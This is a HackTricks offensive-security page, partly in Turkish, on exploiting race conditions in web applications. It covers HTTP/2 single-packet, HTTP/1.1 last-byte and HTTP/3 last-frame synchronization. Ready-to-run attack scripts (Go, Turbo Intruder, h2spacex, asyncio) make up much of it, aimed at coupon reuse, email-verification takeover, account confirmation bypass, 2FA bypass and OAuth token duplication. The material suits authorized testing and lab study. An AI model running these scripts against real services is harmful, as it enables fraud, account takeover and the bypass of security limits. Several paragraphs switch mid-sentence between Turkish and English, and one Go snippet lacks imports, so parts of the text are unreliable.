Race Condition
Reading time: 17 minutes
tip
AWS Hacking'i öğrenin ve pratik yapın:
HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın:
HackTricks Training GCP Red Team Expert (GRTE)
Azure Hacking'i öğrenin ve pratik yapın:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- 💬 Discord grubuna veya telegram grubuna katılın ya da Twitter'da bizi takip edin 🐦 @hacktricks_live.**
- Hacking ipuçlarını paylaşmak için HackTricks ve HackTricks Cloud github reposuna PR gönderin.
warning
Bu tekniği derinlemesine anlamak için orijinal rapora bakın: https://portswigger.net/research/smashing-the-state-machine
Race Condition Saldırılarını Geliştirme
Race condition'lardan yararlanmanın esas zorluğu, birden fazla isteğin aynı anda işlenmesini sağlamak; işlem süreleri arasındaki farkın çok az olması — ideal olarak 1ms'den az — dir.
İstekleri eşzamanlamak için bazı teknikler:
HTTP/2 Single-Packet Attack vs. HTTP/1.1 Last-Byte Synchronization
- HTTP/2: Tek bir TCP bağlantısı üzerinden iki isteğin gönderilmesini destekleyerek ağ jitter'ının etkisini azaltır. Ancak sunucu tarafı varyasyonları nedeniyle iki istek, tutarlı bir race condition exploit'i için her zaman yeterli olmayabilir.
- HTTP/1.1 'Last-Byte Sync': 20–30 isteğin çoğunu önceden gönderip küçük bir fragmanı tutmanıza izin verir; bu fragman daha sonra birlikte gönderilerek sunucuya eşzamanlı varış sağlanır.
Last-Byte Sync için hazırlık şunları içerir:
- Stream'i sonlandırmadan, son byte hariç headers ve body verilerini göndermek.
- İlk gönderimin ardından 100ms beklemek.
- Son frame'leri toplu gönderim için Nagle's algorithm'den yararlanmak amacıyla TCP_NODELAY'i devre dışı bırakmak.
- Bağlantıyı ısıtmak için ping atmak.
Saklanan frame'lerin daha sonra gönderilmesi bunların tek bir pakette ulaşmasına yol açmalıdır; bu Wireshark ile doğrulanabilir. Bu yöntem genellikle RC saldırılarında yer almayan static dosyalar için geçerli değildir.
HTTP/3 Last‑Frame Synchronization (QUIC)
- Kavram: HTTP/3, QUIC (UDP) üzerinde çalışır. TCP coalescing veya Nagle'a güvenilemez, bu yüzden klasik last‑byte sync hazır client'larla çalışmaz. Bunun yerine, sunucunun tüm hedef istekleri aynı zamanlama tick'inde işlemesi için birden fazla QUIC stream‑final DATA frame'ini (FIN) kasıtlı olarak aynı UDP datagrama birleştirmeniz gerekir.
- Nasıl yapılır: QUIC frame kontrolünü açığa çıkaran amaçlı bir kütüphane kullanın. Örneğin H3SpaceX, quic-go'yu manipüle ederek hem body içeren istekler hem de body'siz GET‑tarzı istekler için HTTP/3 last‑frame synchronization uygular.
- Requests‑with‑body: N stream için HEADERS + son byte hariç DATA gönderin, sonra her stream'in son byte'ını birlikte flush edin.
- GET‑style: sahte DATA frame'leri oluşturun (veya Content‑Length ile küçük bir body) ve tüm stream'leri tek bir datagram içinde sonlandırın.
- Pratik sınırlar:
- Eşzamanlılık, peer'in QUIC max_streams transport parametresi ile sınırlıdır (HTTP/2'nin SETTINGS_MAX_CONCURRENT_STREAMS değerine benzer). Eğer düşükse, birden fazla H3 bağlantısı açın ve yarışmayı bunlara dağıtın.
- UDP datagram boyutu ve path MTU, kaç stream‑final frame'inizi birleştirebileceğinizi sınırlar. Kütüphane ihtiyaç halinde birden fazla datagrama bölmeyi yönetir, ancak tek datagramlık flush en güvenilir olandır.
- Uygulama: H3SpaceX ile birlikte halka açık H2/H3 race laboratuvarları ve örnek exploit'ler vardır.
HTTP/3 last‑frame sync (Go + H3SpaceX) minimal example
package main
import (
"crypto/tls"
"context"
"time"
"github.com/nxenon/h3spacex"
h3 "github.com/nxenon/h3spacex/http3"
)
func main(){
tlsConf := &tls.Config{InsecureSkipVerify:true, NextProtos:[]string{h3.NextProtoH3}}
quicConf := &quic.Config{MaxIdleTimeout:10*time.Second, KeepAlivePeriod:10*time.Millisecond}
conn, _ := quic.DialAddr(context.Background(), "IP:PORT", tlsConf, quicConf)
var reqs []*http.Request
for i:=0;i<50;i++{ r,_ := h3.GetRequestObject("https://target/apply", "POST", map[string]string{"Cookie":"sess=...","Content-Type":"application/json"}, []byte(`{"coupon":"SAVE"}`)); reqs = append(reqs,&r) }
// keep last byte (1), sleep 150ms, set Content-Length
h3.SendRequestsWithLastFrameSynchronizationMethod(conn, reqs, 1, 150, true)
}
Sunucu Mimarisiyle Uyum Sağlama
Hedefin mimarisini anlamak çok önemli. Front-end sunucular istekleri farklı yönlendirebilir; bu da zamanlamayı etkiler. Anlamsız isteklerle yapılan sunucu tarafı connection warming, istek zamanlamasını normalize edebilir.
Oturum Tabanlı Kilitlemeyi Yönetme
PHP'nin session handler gibi framework'ler istekleri session bazında seri hale getirir ve bu zafiyetleri gizleyebilir. Her istek için farklı session token'ları kullanmak bu sorunu aşabilir.
Rate veya Resource Limitlerini Aşma
Connection warming etkisizse, web sunucularının rate veya resource limit gecikmelerini kasten tetiklemek için bir sel halinde sahte istekler göndermek, sunucu tarafı bir gecikme oluşturarak race condition'lara uygun bir ortam sağlayabilir ve single-packet attack'i kolaylaştırabilir.
Saldırı Örnekleri
- Turbo Intruder - HTTP2 single-packet attack (1 endpoint): İsteği Turbo intruder (
Extensions->Turbo Intruder->Send to Turbo Intruder), istekte brute force yapmak istediğiniz değeri%solarak değiştirebilirsiniz, örneğincsrf=Bn9VQB8OyefIs3ShR2fPESR0FzzulI1d&username=carlos&password=%sve ardından açılır menüdenexamples/race-single-packer-attack.py'yi seçin:
.png)
Eğer farklı değerler gönderecekseniz, panodaki bir wordlist'i kullanan şu kodla değiştirebilirsiniz:
passwords = wordlists.clipboard
for password in passwords:
engine.queue(target.req, password, gate='race1')
warning
Web sitesi HTTP2'yi desteklemiyorsa (sadece HTTP1.1), Engine.THREADED veya Engine.BURP kullanın; Engine.BURP2 yerine.
- Turbo Intruder - HTTP2 single-packet attack (Several endpoints): RCE'yi tetiklemek için önce 1 endpoint'e bir istek, sonra diğer endpoint'lere birden fazla istek göndermeniz gerekiyorsa,
race-single-packet-attack.pyscript'ini aşağıdaki gibi değiştirebilirsiniz:
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=1,
engine=Engine.BURP2
)
# Hardcode the second request for the RC
confirmationReq = '''POST /confirm?token[]= HTTP/2
Host: 0a9c00370490e77e837419c4005900d0.web-security-academy.net
Cookie: phpsessionid=MpDEOYRvaNT1OAm0OtAsmLZ91iDfISLU
Content-Length: 0
'''
# For each attempt (20 in total) send 50 confirmation requests.
for attempt in range(20):
currentAttempt = str(attempt)
username = 'aUser' + currentAttempt
# queue a single registration request
engine.queue(target.req, username, gate=currentAttempt)
# queue 50 confirmation requests - note that this will probably sent in two separate packets
for i in range(50):
engine.queue(confirmationReq, gate=currentAttempt)
# send all the queued requests for this attempt
engine.openGate(currentAttempt)
- Bu ayrıca Repeater'da, Burp Suite'teki yeni 'Send group in parallel' seçeneği ile de kullanılabilir.
- limit-overrun için, gruba aynı isteği 50 kez ekleyebilirsiniz.
- connection warming için, grubun başına web sunucusunun statik olmayan bir bölümüne bazı istekler ekleyebilirsiniz.
- delaying sürecini, bir isteğin işlenmesi ile diğerinin işlenmesi arasında, 2 alt durumlu adımlarda geciktirmek isterseniz, her iki istek arasına ekstra istekler ekleyebilirsiniz.
- Bir multi-endpoint RC için, gizli duruma giden isteği göndermeye başlayıp hemen ardından gizli durumu istismar eden 50 isteği gönderebilirsiniz.
.png)
- Automated python script: Bu script'in amacı, bir kullanıcının e-postasını değiştirmek ve yeni e-postanın doğrulama token'ı son e-postaya ulaşana kadar sürekli doğrulamaktır (kodda, bir e-postayı değiştirmek mümkün olduğu halde doğrulamanın eski adrese gönderildiği bir RC görülüyordu; bunun nedeni e-postayı gösteren değişkenin zaten ilk adresle doldurulmuş olmasıydı).
Gelen e-postalarda "objetivo" kelimesi bulunduğunda, değiştirilmiş e-postanın doğrulama token'ını aldığımızı anlar ve saldırıyı sonlandırırız.
# https://portswigger.net/web-security/race-conditions/lab-race-conditions-limit-overrun
# Script from victor to solve a HTB challenge
from h2spacex import H2OnTlsConnection
from time import sleep
from h2spacex import h2_frames
import requests
cookie="session=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MiwiZXhwIjoxNzEwMzA0MDY1LCJhbnRpQ1NSRlRva2VuIjoiNDJhMDg4NzItNjEwYS00OTY1LTk1NTMtMjJkN2IzYWExODI3In0.I-N93zbVOGZXV_FQQ8hqDMUrGr05G-6IIZkyPwSiiDg"
# change these headers
headersObjetivo= """accept: */*
content-type: application/x-www-form-urlencoded
Cookie: "+cookie+"""
Content-Length: 112
"""
bodyObjetivo = 'email=objetivo%40apexsurvive.htb&username=estes&fullName=test&antiCSRFToken=42a08872-610a-4965-9553-22d7b3aa1827'
headersVerification= """Content-Length: 1
Cookie: "+cookie+"""
"""
CSRF="42a08872-610a-4965-9553-22d7b3aa1827"
host = "94.237.56.46"
puerto =39697
url = "https://"+host+":"+str(puerto)+"/email/"
response = requests.get(url, verify=False)
while "objetivo" not in response.text:
urlDeleteMails = "https://"+host+":"+str(puerto)+"/email/deleteall/"
responseDeleteMails = requests.get(urlDeleteMails, verify=False)
#print(response.text)
# change this host name to new generated one
Headers = { "Cookie" : cookie, "content-type": "application/x-www-form-urlencoded" }
data="email=test%40email.htb&username=estes&fullName=test&antiCSRFToken="+CSRF
urlReset="https://"+host+":"+str(puerto)+"/challenge/api/profile"
responseReset = requests.post(urlReset, data=data, headers=Headers, verify=False)
print(responseReset.status_code)
h2_conn = H2OnTlsConnection(
hostname=host,
port_number=puerto
)
h2_conn.setup_connection()
try_num = 100
stream_ids_list = h2_conn.generate_stream_ids(number_of_streams=try_num)
all_headers_frames = [] # all headers frame + data frames which have not the last byte
all_data_frames = [] # all data frames which contain the last byte
for i in range(0, try_num):
last_data_frame_with_last_byte=''
if i == try_num/2:
header_frames_without_last_byte, last_data_frame_with_last_byte = h2_conn.create_single_packet_http2_post_request_frames( # noqa: E501
method='POST',
headers_string=headersObjetivo,
scheme='https',
stream_id=stream_ids_list[i],
authority=host,
body=bodyObjetivo,
path='/challenge/api/profile'
)
else:
header_frames_without_last_byte, last_data_frame_with_last_byte = h2_conn.create_single_packet_http2_post_request_frames(
method='GET',
headers_string=headersVerification,
scheme='https',
stream_id=stream_ids_list[i],
authority=host,
body=".",
path='/challenge/api/sendVerification'
)
all_headers_frames.append(header_frames_without_last_byte)
all_data_frames.append(last_data_frame_with_last_byte)
# concatenate all headers bytes
temp_headers_bytes = b''
for h in all_headers_frames:
temp_headers_bytes += bytes(h)
# concatenate all data frames which have last byte
temp_data_bytes = b''
for d in all_data_frames:
temp_data_bytes += bytes(d)
h2_conn.send_bytes(temp_headers_bytes)
# wait some time
sleep(0.1)
# send ping frame to warm up connection
h2_conn.send_ping_frame()
# send remaining data frames
h2_conn.send_bytes(temp_data_bytes)
resp = h2_conn.read_response_from_socket(_timeout=3)
frame_parser = h2_frames.FrameParser(h2_connection=h2_conn)
frame_parser.add_frames(resp)
frame_parser.show_response_of_sent_requests()
print('---')
sleep(3)
h2_conn.close_connection()
response = requests.get(url, verify=False)
Turbo Intruder: engine ve gating notları
- Engine seçimi: HTTP/2 hedeflerde single‑packet attack'ı tetiklemek için
Engine.BURP2kullanın; HTTP/1.1 last‑byte sync içinEngine.THREADEDveyaEngine.BURP'e dönün. gate/openGate:gate='race1'(veya deneme başına gate'ler) ile birçok kopyayı kuyruğa alın; bu, her isteğin son kısmını bekletir;openGate('race1')tüm sonları birlikte boşaltır, böylece neredeyse aynı anda ulaşırlar.- Diagnostics: Turbo Intruder'daki negatif zaman damgaları, sunucunun istek tamamen gönderilmeden önce yanıt verdiğini gösterir ve örtüşmeyi kanıtlar. Bu, gerçek races durumlarında beklenen bir davranıştır.
- Connection warming: zamanlamaları stabilize etmek için önce bir ping veya birkaç zararsız istek gönderin; son framelerin toplu işlenmesini teşvik etmek için isteğe bağlı olarak
TCP_NODELAY'ı devre dışı bırakın.
Single Packet Attack İyileştirmesi
Orijinal araştırmada bu saldırının 1.500 byte ile sınırlı olduğu açıklanmıştır. Ancak this post içinde, IP layer fragmentation kullanarak (tek bir paketi birden fazla IP paketine bölerek) ve bunları farklı sırayla göndererek single packet attack'ın 1.500-byte sınırlamasını TCP'nin 65,535 B pencere sınırlamasına genişletmenin mümkün olduğu anlatılmıştır; bu, tüm fragmentler sunucuya ulaşana kadar paketin yeniden birleştirilmesini engellemeye olanak verir. Bu teknik araştırmacının yaklaşık 166ms içinde 10.000 istek göndermesini sağlamıştır.
Bu iyileştirme, yüzlerce/binlerce paketin aynı anda ulaşmasını gerektiren RC'lerde saldırıyı daha güvenilir hale getirirken bazı yazılım sınırlamalarına da sahip olabilir. Apache, Nginx ve Go gibi bazı popüler HTTP sunucularının SETTINGS_MAX_CONCURRENT_STREAMS ayarı sırasıyla 100, 128 ve 250 gibi katı değerlere sahiptir. Ancak NodeJS ve nghttp2 gibi diğerleri için bu sınırsızdır.
Bu temel olarak Apache'nin tek bir TCP bağlantısından yalnızca 100 HTTP bağlantısını dikkate alacağı anlamına gelir (bu RC saldırısını sınırlar). HTTP/3 için benzer limit QUIC’in max_streams transport parameter'ıdır – küçükse, race'inizi birden fazla QUIC bağlantısına yayın.
Bu tekniği kullanan bazı örnekleri repo içinde bulabilirsiniz: https://github.com/Ry0taK/first-sequence-sync/tree/main.
Raw BF
Önceki araştırmadan önce, sadece paketleri mümkün olduğunca hızlı gönderip bir RC tetiklemeye çalışan bazı payload'lar kullanılıyordu.
- Repeater: Önceki bölümdeki örneklere bakın.
- Intruder: request'i Intruder'a gönderin, Options menu içinden number of threads'i 30 olarak ayarlayın, payload olarak Null payloads seçin ve 30 üretin.
- Turbo Intruder
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=5,
requestsPerConnection=1,
pipeline=False
)
a = ['Session=<session_id_1>','Session=<session_id_2>','Session=<session_id_3>']
for i in range(len(a)):
engine.queue(target.req,a[i], gate='race1')
# open TCP connections and send partial requests
engine.start(timeout=10)
engine.openGate('race1')
engine.complete(timeout=60)
def handleResponse(req, interesting):
table.add(req)
- Python - asyncio
import asyncio
import httpx
async def use_code(client):
resp = await client.post(f'http://victim.com', cookies={"session": "asdasdasd"}, data={"code": "123123123"})
return resp.text
async def main():
async with httpx.AsyncClient() as client:
tasks = []
for _ in range(20): #20 times
tasks.append(asyncio.ensure_future(use_code(client)))
# Get responses
results = await asyncio.gather(*tasks, return_exceptions=True)
# Print results
for r in results:
print(r)
# Async2sync sleep
await asyncio.sleep(0.5)
print(results)
asyncio.run(main())
RC Methodology
Limit-overrun / TOCTOU
This is the most basic type of race condition where vulnerabilities that appear in places that limit the number of times you can perform an action. Like using the same discount code in a web store several times. A very easy example can be found in this report or in this bug.
There are many variations of this kind of attack, including:
- Redeeming a gift card multiple times
- Rating a product multiple times
- Withdrawing or transferring cash in excess of your account balance
- Reusing a single CAPTCHA solution
- Bypassing an anti-brute-force rate limit
Hidden substates
Exploiting complex race conditions often involves taking advantage of brief opportunities to interact with hidden or unintended machine substates. Here’s how to approach this:
- Identify Potential Hidden Substates
- Start by pinpointing endpoints that modify or interact with critical data, such as user profiles or password reset processes. Focus on:
- Storage: Prefer endpoints that manipulate server-side persistent data over those handling data client-side.
- Action: Look for operations that alter existing data, which are more likely to create exploitable conditions compared to those that add new data.
- Keying: Successful attacks usually involve operations keyed on the same identifier, e.g., username or reset token.
- Conduct Initial Probing
- Test the identified endpoints with race condition attacks, observing for any deviations from expected outcomes. Unexpected responses or changes in application behavior can signal a vulnerability.
- Demonstrate the Vulnerability
- Narrow down the attack to the minimal number of requests needed to exploit the vulnerability, often just two. This step might require multiple attempts or automation due to the precise timing involved.
Time Sensitive Attacks
Precision in timing requests can reveal vulnerabilities, especially when predictable methods like timestamps are used for security tokens. For instance, generating password reset tokens based on timestamps could allow identical tokens for simultaneous requests.
To Exploit:
- Use precise timing, like a single packet attack, to make concurrent password reset requests. Identical tokens indicate a vulnerability.
Example:
- Request two password reset tokens at the same time and compare them. Matching tokens suggest a flaw in token generation.
Check this PortSwigger Lab to try this.
Hidden substates case studies
Pay & add an Item
Check this PortSwigger Lab to see how to pay in a store and add an extra item you that won't need to pay for it.
Confirm other emails
The idea is to verify an email address and change it to a different one at the same time to find out if the platform verifies the new one changed.
Change email to 2 emails addresses Cookie based
According to this research Gitlab was vulnerable to a takeover this way because it might send the email verification token of one email to the other email.
Check this PortSwigger Lab to try this.
Hidden Database states / Confirmation Bypass
If 2 different writes are used to add information inside a database, there is a small portion of time where only the first data has been written inside the database. For example, when creating a user the username and password might be written and then the token to confirm the newly created account is written. This means that for a small time the token to confirm an account is null.
Therefore registering an account and sending several requests with an empty token (token= or token[]= or any other variation) to confirm the account right away could allow to confirm an account where you don't control the email.
Check this PortSwigger Lab to try this.
Bypass 2FA
The following pseudo-code is vulnerable to race condition because in a very small time the 2FA is not enforced while the session is created:
session['userid'] = user.userid
if user.mfa_enabled:
session['enforce_mfa'] = True
# generate and send MFA code to user
# redirect browser to MFA code entry form
OAuth2 kalıcı erişim
There are several OAUth providers. Bu hizmetler bir uygulama oluşturmanıza ve sağlayıcının kaydettiği kullanıcıları kimlik doğrulamanıza olanak tanır. Bunu yapmak için client uygulamanızın permit your application içinde bazı verilere erişmesine izin vermesi gerekecek OAUth provider.
Yani buraya kadar google/linkedin/github... ile ortak bir giriş; karşınıza şu şekilde bir sayfa çıkar: "Application
Race Condition in authorization_code
The problem appears when you accept it and automatically sends an authorization_code to the malicious application. Ardından bu application abuses a Race Condition in the OAUth service provider to generate more that one AT/RT (Authentication Token/Refresh Token) from the authorization_code hesabınız için. Temelde, uygulamanın verilerinize erişmesine izin vermenizden faydalanarak birden fazla hesap oluşturur. Sonra, eğer uygulamanın verilerinize erişmesine izin vermeyi bırakırsanız, bir AT/RT çifti silinebilir ama diğerleri hala geçerli olacaktır.
Race Condition in Refresh Token
Once you have obtained a valid RT RT elde ettiğinizde bunu abuse it to generate several AT/RT için kullanmayı deneyebilirsiniz ve even if the user cancels the permissions kullanıcı kötü amaçlı uygulamanın verilerine erişim izinlerini iptal etse bile, several RTs will still be valid.
RC in WebSockets
- In WS_RaceCondition_PoC Java ile websocket mesajlarını parallel olarak gönderip Web Sockets'te de Race Conditions'ı suistimal etmeye yönelik bir PoC bulabilirsiniz.
- With Burp’s WebSocket Turbo Intruder Burp’un WebSocket Turbo Intruder’ı ile THREADED motorunu kullanarak birden fazla WS bağlantısı başlatabilir ve yükleri paralel olarak gönderebilirsiniz. Resmi örnekten başlayın ve eşzamanlılık için
config()(thread count) ayarını ince ayar yapın; WS handler'ları arasında sunucu tarafı durumu yarıştırırken tek bir bağlantıda batchlemeye göre genellikle daha güvenilirdir. Bkz. RaceConditionExample.py.
References
- https://hackerone.com/reports/759247
- https://pandaonair.com/2020/06/11/race-conditions-exploring-the-possibilities.html
- https://hackerone.com/reports/55140
- https://portswigger.net/research/smashing-the-state-machine
- https://portswigger.net/web-security/race-conditions
- https://flatt.tech/research/posts/beyond-the-limit-expanding-single-packet-race-condition-with-first-sequence-sync/
- WebSocket Turbo Intruder: Unearthing the WebSocket Goldmine
- WebSocketTurboIntruder – GitHub
- RaceConditionExample.py
- H3SpaceX (HTTP/3 last‑frame sync) – Go package docs
- PacketSprinter: Simplifying HTTP/2 Single‑Packet Testing (Route Zero blog)
tip
AWS Hacking'i öğrenin ve pratik yapın:
HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın:
HackTricks Training GCP Red Team Expert (GRTE)
Azure Hacking'i öğrenin ve pratik yapın:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- 💬 Discord grubuna veya telegram grubuna katılın ya da Twitter'da bizi takip edin 🐦 @hacktricks_live.**
- Hacking ipuçlarını paylaşmak için HackTricks ve HackTricks Cloud github reposuna PR gönderin.
HackTricks